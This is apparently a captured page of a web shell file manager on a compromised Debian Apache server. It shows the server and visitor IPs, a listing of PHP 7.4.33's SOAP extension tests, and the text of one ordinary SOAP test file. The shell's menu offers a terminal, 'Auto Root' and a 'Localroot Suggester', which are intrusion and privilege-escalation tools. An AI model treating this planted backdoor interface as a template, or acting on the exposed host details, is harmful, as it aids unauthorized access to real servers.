Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
soap /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
bugs
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
interop
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
schema
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
soap12
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
any.phpt
2.26
KB
-rw-rw-r--
2022-10-31 11:36
bug46760.phpt
544
B
-rw-rw-r--
2022-10-31 11:36
bug47021.phpt
2.93
KB
-rw-rw-r--
2022-10-31 11:36
bug48557.phpt
1.78
KB
-rw-rw-r--
2022-10-31 11:36
bug48557.wsdl
1.36
KB
-rw-rw-r--
2022-10-31 11:36
bug49898.phpt
433
B
-rw-rw-r--
2022-10-31 11:36
bug68361.phpt
3.77
KB
-rw-rw-r--
2022-10-31 11:36
bug68996.phpt
1.35
KB
-rw-rw-r--
2022-10-31 11:36
bug69137.phpt
1.21
KB
-rw-rw-r--
2022-10-31 11:36
bug69668.phpt
916
B
-rw-rw-r--
2022-10-31 11:36
bug69668.wsdl
1.88
KB
-rw-rw-r--
2022-10-31 11:36
bug70211.phpt
527
B
-rw-rw-r--
2022-10-31 11:36
bug70388.phpt
492
B
-rw-rw-r--
2022-10-31 11:36
bug70875.phpt
795
B
-rw-rw-r--
2022-10-31 11:36
bug70875.wsdl
8.02
KB
-rw-rw-r--
2022-10-31 11:36
bug71610.phpt
518
B
-rw-rw-r--
2022-10-31 11:36
bug71711.phpt
1.04
KB
-rw-rw-r--
2022-10-31 11:36
bug71996.phpt
1.83
KB
-rw-rw-r--
2022-10-31 11:36
bug73037.phpt
3.69
KB
-rw-rw-r--
2022-10-31 11:36
bug73452.phpt
466
B
-rw-rw-r--
2022-10-31 11:36
bug77088.phpt
1.29
KB
-rw-rw-r--
2022-10-31 11:36
bug77410.phpt
733
B
-rw-rw-r--
2022-10-31 11:36
bug77410.wsdl
1.82
KB
-rw-rw-r--
2022-10-31 11:36
bug79357.phpt
416
B
-rw-rw-r--
2022-10-31 11:36
bug79357.wsdl
2.4
KB
-rw-rw-r--
2022-10-31 11:36
bug79536.phpt
1.6
KB
-rw-rw-r--
2022-10-31 11:36
bug80672.phpt
355
B
-rw-rw-r--
2022-10-31 11:36
bug80672.xml
249
B
-rw-rw-r--
2022-10-31 11:36
classmap.wsdl
2.46
KB
-rw-rw-r--
2022-10-31 11:36
classmap001.phpt
1.6
KB
-rw-rw-r--
2022-10-31 11:36
classmap002.phpt
1.25
KB
-rw-rw-r--
2022-10-31 11:36
classmap003.phpt
1015
B
-rw-rw-r--
2022-10-31 11:36
classmap003.wsdl
1.9
KB
-rw-rw-r--
2022-10-31 11:36
classmap004.phpt
1.21
KB
-rw-rw-r--
2022-10-31 11:36
custom_content_type.phpt
2.18
KB
-rw-rw-r--
2022-10-31 11:36
fault001.phpt
251
B
-rw-rw-r--
2022-10-31 11:36
fault_warning.phpt
1.03
KB
-rw-rw-r--
2022-10-31 11:36
server001.phpt
1.28
KB
-rw-rw-r--
2022-10-31 11:36
server002.phpt
1.35
KB
-rw-rw-r--
2022-10-31 11:36
server003.phpt
1.29
KB
-rw-rw-r--
2022-10-31 11:36
server004.phpt
1.38
KB
-rw-rw-r--
2022-10-31 11:36
server005.phpt
1.28
KB
-rw-rw-r--
2022-10-31 11:36
server006.phpt
1.39
KB
-rw-rw-r--
2022-10-31 11:36
server007.phpt
436
B
-rw-rw-r--
2022-10-31 11:36
server008.phpt
441
B
-rw-rw-r--
2022-10-31 11:36
server009.phpt
2.17
KB
-rw-rw-r--
2022-10-31 11:36
server010.phpt
2.03
KB
-rw-rw-r--
2022-10-31 11:36
server011.phpt
418
B
-rw-rw-r--
2022-10-31 11:36
server012.phpt
603
B
-rw-rw-r--
2022-10-31 11:36
server013.phpt
1.54
KB
-rw-rw-r--
2022-10-31 11:36
server014.phpt
1.17
KB
-rw-rw-r--
2022-10-31 11:36
server015.phpt
1.27
KB
-rw-rw-r--
2022-10-31 11:36
server016.phpt
1.07
KB
-rw-rw-r--
2022-10-31 11:36
server017.phpt
1.08
KB
-rw-rw-r--
2022-10-31 11:36
server018.phpt
1.08
KB
-rw-rw-r--
2022-10-31 11:36
server019.phpt
1.34
KB
-rw-rw-r--
2022-10-31 11:36
server020.phpt
1.38
KB
-rw-rw-r--
2022-10-31 11:36
server021.phpt
1.44
KB
-rw-rw-r--
2022-10-31 11:36
server022.phpt
1.18
KB
-rw-rw-r--
2022-10-31 11:36
server023.phpt
1.59
KB
-rw-rw-r--
2022-10-31 11:36
server024.phpt
1.8
KB
-rw-rw-r--
2022-10-31 11:36
server025.phpt
1.58
KB
-rw-rw-r--
2022-10-31 11:36
server025.wsdl
2.08
KB
-rw-rw-r--
2022-10-31 11:36
server026.phpt
1.3
KB
-rw-rw-r--
2022-10-31 11:36
server027.phpt
461
B
-rw-rw-r--
2022-10-31 11:36
server028.phpt
1.45
KB
-rw-rw-r--
2022-10-31 11:36
server029.phpt
1.83
KB
-rw-rw-r--
2022-10-31 11:36
server030.phpt
2.27
KB
-rw-rw-r--
2022-10-31 11:36
server030.wsdl
2.04
KB
-rw-rw-r--
2022-10-31 11:36
server031.phpt
2.74
KB
-rw-rw-r--
2022-10-31 11:36
setheaders.phpt
3.17
KB
-rw-rw-r--
2022-10-31 11:36
skipif.inc
84
B
-rw-rw-r--
2022-10-31 11:36
test.wsdl
1.93
KB
-rw-rw-r--
2022-10-31 11:36
transport001.phpt
805
B
-rw-rw-r--
2022-10-31 11:36
typemap001.phpt
2
KB
-rw-rw-r--
2022-10-31 11:36
typemap002.phpt
1.91
KB
-rw-rw-r--
2022-10-31 11:36
typemap003.phpt
1.62
KB
-rw-rw-r--
2022-10-31 11:36
typemap004.phpt
1.52
KB
-rw-rw-r--
2022-10-31 11:36
typemap005.phpt
2.05
KB
-rw-rw-r--
2022-10-31 11:36
typemap006.phpt
2.02
KB
-rw-rw-r--
2022-10-31 11:36
typemap007.phpt
1.71
KB
-rw-rw-r--
2022-10-31 11:36
typemap008.phpt
1.68
KB
-rw-rw-r--
2022-10-31 11:36
typemap009.phpt
1.61
KB
-rw-rw-r--
2022-10-31 11:36
typemap010.phpt
1.52
KB
-rw-rw-r--
2022-10-31 11:36
typemap011.phpt
1.54
KB
-rw-rw-r--
2022-10-31 11:36
typemap012.phpt
1.03
KB
-rw-rw-r--
2022-10-31 11:36
typemap013.phpt
1.99
KB
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- SOAP handling of <any> --SKIPIF-- <?php require_once('skipif.inc'); ?> --INI-- precision=14 soap.wsdl_cache_enabled=0 --FILE-- <?php class SOAPComplexType { function __construct($s, $i, $f) { $this->varString = $s; $this->varInt = $i; $this->varFloat = $f; } } $struct = new SOAPComplexType('arg',34,325.325); function echoAnyElement($x) { global $g; $g = $x; $struct = $x->inputAny->any["SOAPComplexType"]; if ($struct instanceof SOAPComplexType) { return array("return" => array("any" => array("SOAPComplexType"=>new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPComplexType", "http://soapinterop.org/xsd", "SOAPComplexType", "http://soapinterop.org/")))); } else { return "?"; } } class TestSoapClient extends SoapClient { function __construct($wsdl, $options) { parent::__construct($wsdl, $options); $this->server = new SoapServer($wsdl, $options); $this->server->addFunction('echoAnyElement'); } function __doRequest($request, $location, $action, $version, $one_way = 0) { ob_start(); $this->server->handle($request); $response = ob_get_contents(); ob_end_clean(); return $response; } } $client = new TestSoapClient(__DIR__."/interop/Round4/GroupI/round4_groupI_xsd.wsdl", array("trace"=>1,"exceptions"=>0, 'classmap' => array('SOAPComplexType'=>'SOAPComplexType'))); $ret = $client->echoAnyElement( array( "inputAny"=>array( "any"=>new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPComplexType", "http://soapinterop.org/xsd", "SOAPComplexType", "http://soapinterop.org/") ))); var_dump($g); var_dump($ret); ?> --EXPECT-- object(stdClass)#5 (1) { ["inputAny"]=> object(stdClass)#6 (1) { ["any"]=> array(1) { ["SOAPComplexType"]=> object(SOAPComplexType)#7 (3) { ["varInt"]=> int(34) ["varString"]=> string(3) "arg" ["varFloat"]=> float(325.325) } } } } object(stdClass)#8 (1) { ["return"]=> object(stdClass)#9 (1) { ["any"]=> array(1) { ["SOAPComplexType"]=> object(SOAPComplexType)#10 (3) { ["varInt"]=> int(34) ["varString"]=> string(3) "arg" ["varFloat"]=> float(325.325) } } } }